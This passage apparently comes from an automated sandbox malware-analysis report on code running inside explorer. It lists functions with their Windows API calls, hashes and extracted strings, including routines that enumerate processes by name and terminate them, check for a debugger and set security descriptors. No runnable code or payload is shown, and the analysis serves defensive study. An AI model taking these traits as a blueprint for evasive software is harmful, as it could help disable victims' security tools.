NtUnmapViewOfSection.NTDLL ref: 011A1225
NtClose.NTDLL ref: 011A1233
NtUnmapViewOfSection.NTDLL ref: 011A1249
NtClose.NTDLL ref: 011A1257
TerminateProcess.KERNEL32 ref: 011A126B
CloseHandle.KERNEL32 ref: 011A1276
CloseHandle.KERNEL32 ref: 011A1281

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Close$HandleSectionUnmapView$ProcessTerminate
String ID:
API String ID: 4250251239-0
Opcode ID: 4f910b99a22f92765c46a41be600696b4279f963f897c9c5538e65b4968240ee
Instruction ID: a8a9b4acdcdaa365654ae465915b8cc4263ed6fce3928a61426e7298801910c7
Opcode Fuzzy Hash: 4f910b99a22f92765c46a41be600696b4279f963f897c9c5538e65b4968240ee
Instruction Fuzzy Hash: 60115C75515A8481DB68EF16F8543DE7361F7C8BA5F004026EB8E42A68CF7DC486CB00

Function 011C3B2C Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 288COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 011B951C: _getptd.LIBCMT ref: 011B952E

_errno.LIBCMT ref: 011C3B7C
_invalid_parameter_noinfo.LIBCMT ref: 011C3B86
_errno.LIBCMT ref: 011C3BA8
_invalid_parameter_noinfo.LIBCMT ref: 011C3BB4
_errno.LIBCMT ref: 011C3BDC
_cftoe_l.LIBCMT ref: 011C3C20

Strings

gfffffff, xrefs: 011C3EAB

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: _errno$_invalid_parameter_noinfo$_cftoe_l_getptd
String ID: gfffffff
API String ID: 1282097019-1523873471
Opcode ID: 70f64d29eda5dc2a4778368f7b480cadbb51046fac34f9dff00ff8b5627f9baf
Instruction ID: eb21169a2c90eefa4253f2694f1200ce8a17a718105b664b1c3e7a5c264227ae
Opcode Fuzzy Hash: 70f64d29eda5dc2a4778368f7b480cadbb51046fac34f9dff00ff8b5627f9baf
Instruction Fuzzy Hash: 1AA154637247C587EB1ACB29D6843AD7BA5F721BA4F04C62ACF6A07795EB38C015C311

Function 011BC5E0 Relevance: 12.1, APIs: 8, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 011C0EE7
RtlLookupFunctionEntry.KERNEL32 ref: 011C0F06
RtlVirtualUnwind.KERNEL32 ref: 011C0F52
IsDebuggerPresent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,011BA94B), ref: 011C0FC4
SetUnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,011BA94B), ref: 011C0FDC
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,011BA94B), ref: 011C0FE9
GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,011BA94B), ref: 011C1002
TerminateProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,011BA94B), ref: 011C1010

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CaptureContextCurrentDebuggerEntryFunctionLookupPresentTerminateUnwindVirtual
String ID:
API String ID: 3778485334-0
Opcode ID: 35219957d421805f211166676d9093f278cb6e10f437b633a14091adcde31cb0
Instruction ID: ebb0ac7e4e192f673d3e72be5ff45871b2d4256bb07980b443c00bb01a4f5674
Opcode Fuzzy Hash: 35219957d421805f211166676d9093f278cb6e10f437b633a14091adcde31cb0
Instruction Fuzzy Hash: E531D239208F85C6EB189B55F8843DAB3A5F798B54F50012AEA8E42764DF7CC09ACB45

Function 01191BA0 Relevance: 12.1, APIs: 8, Instructions: 57processstringCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 01191BB7
Process32FirstW.KERNEL32 ref: 01191BE0
lstrcmpiW.KERNEL32 ref: 01191C3F
OpenProcess.KERNEL32 ref: 01191C61
TerminateProcess.KERNEL32 ref: 01191C84
CloseHandle.KERNEL32 ref: 01191C92
Process32NextW.KERNEL32 ref: 01191CA9
CloseHandle.KERNEL32 ref: 01191CBC

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32lstrcmpi
String ID:
API String ID: 1193533834-0
Opcode ID: 5bb79ae64db4dd5a90531e248b891122a9d6996c0156bc627a2e6b39a5febb7a
Instruction ID: 1fa09c914176e69bc93e695caa6bdccde7f88b07c79a087f4f57d8eee59e04bd
Opcode Fuzzy Hash: 5bb79ae64db4dd5a90531e248b891122a9d6996c0156bc627a2e6b39a5febb7a
Instruction Fuzzy Hash: E521E232219AC5C2EB78DF15E4583AAB3A1F7C4754F404229D69E866A8DF3CC546CB00

Function 011BA818 Relevance: 9.1, APIs: 6, Instructions: 80COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 011BA885
RtlLookupFunctionEntry.KERNEL32 ref: 011BA89D
RtlVirtualUnwind.KERNEL32 ref: 011BA8D7
IsDebuggerPresent.KERNEL32 ref: 011BA90D
SetUnhandledExceptionFilter.KERNEL32 ref: 011BA917
UnhandledExceptionFilter.KERNEL32 ref: 011BA922

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: bf4840c27aff4b8c7025ec72b01c2eae3c7bd8f1c4b301b67cc516dbda11ae64
Instruction ID: 7926d117ccc26bc1bdda99c73b6597b14f8159ec0c5185028e7e31297fbda948
Opcode Fuzzy Hash: bf4840c27aff4b8c7025ec72b01c2eae3c7bd8f1c4b301b67cc516dbda11ae64
Instruction Fuzzy Hash: 2A316336214F8186DB28DF29E8947DE73A4F798798F500219EB9D43B58DF38C546CB40

Function 0119ECE0 Relevance: 9.1, APIs: 6, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32 ref: 0119ED6A
SetEntriesInAclW.ADVAPI32 ref: 0119EDE6
LocalAlloc.KERNEL32 ref: 0119EE01
InitializeSecurityDescriptor.ADVAPI32 ref: 0119EE27
SetSecurityDescriptorDacl.ADVAPI32 ref: 0119EE46
LocalFree.KERNEL32 ref: 0119EE62

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: DescriptorInitializeLocalSecurity$AllocAllocateDaclEntriesFree
String ID:
API String ID: 1761156657-0
Opcode ID: 58b5056dbfd2429476338d745a5c66fefc3e3b966df627eb6fb129543995eacc
Instruction ID: f6664ea061cc6a5333d5e4d24866376dd0738387c3abdf388b746026de3b3e7d
Opcode Fuzzy Hash: 58b5056dbfd2429476338d745a5c66fefc3e3b966df627eb6fb129543995eacc
Instruction Fuzzy Hash: A031B5722187C486F7649F24E45878BBBA1F385748F504119E7D946A98CFBEC049CF41

Function 011943D0 Relevance: 9.0, APIs: 6, Instructions: 47processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 011943E7
Process32FirstW.KERNEL32 ref: 01194410
StrCmpIW.SHLWAPI ref: 01194467
CloseHandle.KERNEL32 ref: 01194476
Process32NextW.KERNEL32 ref: 0119448F
CloseHandle.KERNEL32 ref: 0119449E

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: CloseHandleProcess32$CreateFirstNextSnapshotToolhelp32
String ID:
API String ID: 1789362936-0
Opcode ID: c8c67cd9d69cf1c5cd18c9165593eab660a6d624cff16f01b012e03e4ca3c0c1
Instruction ID: 6a1ae78746c8d50e08c91c8f171fa10e0b5cefd327ab0b760c984522ca92f79c
Opcode Fuzzy Hash: c8c67cd9d69cf1c5cd18c9165593eab660a6d624cff16f01b012e03e4ca3c0c1
Instruction Fuzzy Hash: BE21C131219A80C2DB68DF15E5443997365F784765F404329A6BE87AD4DF3CC506CB01

Function 011942E0 Relevance: 9.0, APIs: 6, Instructions: 47processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 011942F7
Process32FirstW.KERNEL32 ref: 01194320
StrCmpIW.SHLWAPI ref: 01194377
CloseHandle.KERNEL32 ref: 01194386
Process32NextW.KERNEL32 ref: 0119439F
CloseHandle.KERNEL32 ref: 011943AE

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: CloseHandleProcess32$CreateFirstNextSnapshotToolhelp32
String ID:
API String ID: 1789362936-0
Opcode ID: 2126cdc8bb9ee2d7d810141097882338e7ddfcb2433b70e954aefb8ca035f1f8
Instruction ID: acfb54488416304404715f9b1a213f73d06e209eda7a3ba7d821897cfa698dc6
Opcode Fuzzy Hash: 2126cdc8bb9ee2d7d810141097882338e7ddfcb2433b70e954aefb8ca035f1f8
Instruction Fuzzy Hash: C421D33521DA90C2DB68DF25F544399B3A1F784765F404339A6BE86AD4DF3CC606CB01

Function 011ADE00 Relevance: 9.0, APIs: 6, Instructions: 32processCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 011ADE07
CreateToolhelp32Snapshot.KERNEL32 ref: 011ADE18
Process32FirstW.KERNEL32 ref: 011ADE3D
CloseHandle.KERNEL32 ref: 011ADE56
Process32NextW.KERNEL32 ref: 011ADE6C
CloseHandle.KERNEL32 ref: 011ADE7B

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: CloseHandleProcess32$CreateCurrentFirstNextProcessSnapshotToolhelp32
String ID:
API String ID: 3177329567-0
Opcode ID: 3cc2d6c88128d3cd302e3c3b427e122420062b561a5866bb653fc894148c4347
Instruction ID: f157aad263af9d5921d5b3b1ecc384666fb2de177e8e24d44a659b289488a954
Opcode Fuzzy Hash: 3cc2d6c88128d3cd302e3c3b427e122420062b561a5866bb653fc894148c4347
Instruction Fuzzy Hash: C601A976618A8483EB68AF55F44839AB7B0F7D8758F405229B78A86A68DF3CC545CB00

Function 011ADD1E Relevance: 3.0, APIs: 2, Instructions: 13encryptionCOMMON

Download Yara Rule

APIs

CryptReleaseContext.ADVAPI32 ref: 011ADDD2
CryptDestroyHash.ADVAPI32 ref: 011ADDE5

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: c5c1768aadb60378ad22162b9e4730754fad96458e27b0b14d4275e4d892deba
Instruction ID: c7453636bf429dfbfd5945f2c5d8d2ac9e4efa87cd9399778ede902c0a41fb31
Opcode Fuzzy Hash: c5c1768aadb60378ad22162b9e4730754fad96458e27b0b14d4275e4d892deba
Instruction Fuzzy Hash: C0E06235524D8082EB59DB59F89879E6B61FBC1745FD41025F787419E8CF3CC456CA40

Function 011ADD5A Relevance: 3.0, APIs: 2, Instructions: 13encryptionCOMMON

Download Yara Rule

APIs

CryptReleaseContext.ADVAPI32 ref: 011ADDD2
CryptDestroyHash.ADVAPI32 ref: 011ADDE5

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: e9356f170158ed85045823dcdf42e8ebd6240593bc235c43491c703c7f15f5e3
Instruction ID: c7453636bf429dfbfd5945f2c5d8d2ac9e4efa87cd9399778ede902c0a41fb31
Opcode Fuzzy Hash: e9356f170158ed85045823dcdf42e8ebd6240593bc235c43491c703c7f15f5e3
Instruction Fuzzy Hash: C0E06235524D8082EB59DB59F89879E6B61FBC1745FD41025F787419E8CF3CC456CA40

Function 011ADD8F Relevance: 3.0, APIs: 2, Instructions: 13encryptionCOMMON

Download Yara Rule

APIs

CryptReleaseContext.ADVAPI32 ref: 011ADDD2
CryptDestroyHash.ADVAPI32 ref: 011ADDE5

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: c8dc4400690b48537e0aafe92792f067d9f6826edbb111285d4f7ba620e35a5e
Instruction ID: c7453636bf429dfbfd5945f2c5d8d2ac9e4efa87cd9399778ede902c0a41fb31
Opcode Fuzzy Hash: c8dc4400690b48537e0aafe92792f067d9f6826edbb111285d4f7ba620e35a5e
Instruction Fuzzy Hash: C0E06235524D8082EB59DB59F89879E6B61FBC1745FD41025F787419E8CF3CC456CA40

Function 011ADCF7 Relevance: 3.0, APIs: 2, Instructions: 13encryptionCOMMON

Download Yara Rule

APIs

CryptReleaseContext.ADVAPI32 ref: 011ADDD2
CryptDestroyHash.ADVAPI32 ref: 011ADDE5

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: 05d24737d62e8f84dcb68c5fbac8ceb44c8b287674e4df4f053df66770bee29a
Instruction ID: c7453636bf429dfbfd5945f2c5d8d2ac9e4efa87cd9399778ede902c0a41fb31
Opcode Fuzzy Hash: 05d24737d62e8f84dcb68c5fbac8ceb44c8b287674e4df4f053df66770bee29a
Instruction Fuzzy Hash: C0E06235524D8082EB59DB59F89879E6B61FBC1745FD41025F787419E8CF3CC456CA40

Function 011A5AA0 Relevance: 278.7, APIs: 68, Strings: 91, Instructions: 497memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0119F790: SHGetKnownFolderPath.SHELL32(?,?,?,?,?,?,?,?,011A6834), ref: 0119F7AF
Part of subcall function 0119F790: LocalAlloc.KERNEL32(?,?,?,?,?,?,?,?,011A6834), ref: 0119F7C3
Part of subcall function 0119F790: wnsprintfW.SHLWAPI ref: 0119F7FC
Part of subcall function 0119F790: lstrlenW.KERNEL32 ref: 0119F80B
Part of subcall function 0119F790: CoTaskMemFree.COMBASE ref: 0119F81D

LocalAlloc.KERNEL32 ref: 011A5ADE
LocalAlloc.KERNEL32 ref: 011A5AFF
wnsprintfW.SHLWAPI ref: 011A5B3F
wnsprintfW.SHLWAPI ref: 011A5B5D
wnsprintfW.SHLWAPI ref: 011A5B91
wnsprintfW.SHLWAPI ref: 011A5BAF
LocalFree.KERNEL32 ref: 011A64D6
LocalFree.KERNEL32 ref: 011A6502
LocalFree.KERNEL32 ref: 011A650D

Strings

%s.DLL, xrefs: 011A6162
{51BDD1C4-FA3F-488D-BF83-3BBD8F08065E}, xrefs: 011A5CB7, 011A5CDF
%s.DLL, xrefs: 011A63A0
{C1BD1AD9-E7EB-479A-9986-4CCAEACD58B1}, xrefs: 011A5DFF, 011A5E27
%s.DLL, xrefs: 011A5F24
%s.DLL, xrefs: 011A62AA
{A833ED33-AB79-42C4-8F18-2B6F78AB7B5D}, xrefs: 011A5BC1, 011A5BE9
%s.DLL, xrefs: 011A61B4
%s\%s.DLL, xrefs: 011A5D1A
%s.DLL, xrefs: 011A5ED2
%s.DLL, xrefs: 011A5C94
{CC9E0085-98A2-4541-ADA5-57C053963E95}, xrefs: 011A63C3, 011A63EB
%s\%s.DLL, xrefs: 011A6144
%s\%s.DLL, xrefs: 011A5F06
{FCDCDDD8-4368-4A5F-97C4-D82E725DF941}, xrefs: 011A5D5B, 011A5D83
{91A76877-BC0D-4C96-A5BB-E6DFBFDD6440}, xrefs: 011A62CD, 011A62F5
%s\%s.DLL, xrefs: 011A60A0
{AD591F04-B13F-46DE-971E-91B85D0D809A}, xrefs: 011A5B6F, 011A5B97
{10BFE215-061D-40FD-8815-5C8F72644B28}, xrefs: 011A6133, 011A615B
{FD6426E3-D0BC-4529-82F7-5F6E49413ADF}, xrefs: 011A6229, 011A6251
%s\%s.DLL, xrefs: 011A5CC8
{71AEF5B1-1CB5-4E55-A831-320B97C08AF7}, xrefs: 011A5C65, 011A5C8D
%s.DLL, xrefs: 011A5BF0
{3D978FEE-C814-4C99-BF7F-2D6040603FEF}, xrefs: 011A6185, 011A61AD
%s.DLL, xrefs: 011A5D38
%s\%s.DLL, xrefs: 011A5B80
%s.DLL, xrefs: 011A60BE
%s\%s.DLL, xrefs: 011A5D6C
%s.DLL, xrefs: 011A5E80
%s.DLL, xrefs: 011A634E
%s\%s.DLL, xrefs: 011A60F2
%s\%s.DLL, xrefs: 011A5FAA
%s\%s.DLL, xrefs: 011A5DBE
%s\%s.DLL, xrefs: 011A5FFC
%s.DLL, xrefs: 011A5B4C
{FAC8FDCC-9415-493E-AED0-258910F001AC}, xrefs: 011A61D7, 011A61FF
%s\%s.DLL, xrefs: 011A5BD2
{F7C89374-15C9-42DA-9AB6-6BF0F6C9A22F}, xrefs: 011A631F, 011A6347
{21A40B76-C3B4-4664-B31E-2DC0D0725B06}, xrefs: 011A6415, 011A643D
%s\%s.DLL, xrefs: 011A5E62
%s.DLL, xrefs: 011A601A
%s\%s.DLL, xrefs: 011A5E10
%s\%s.DLL, xrefs: 011A5C24
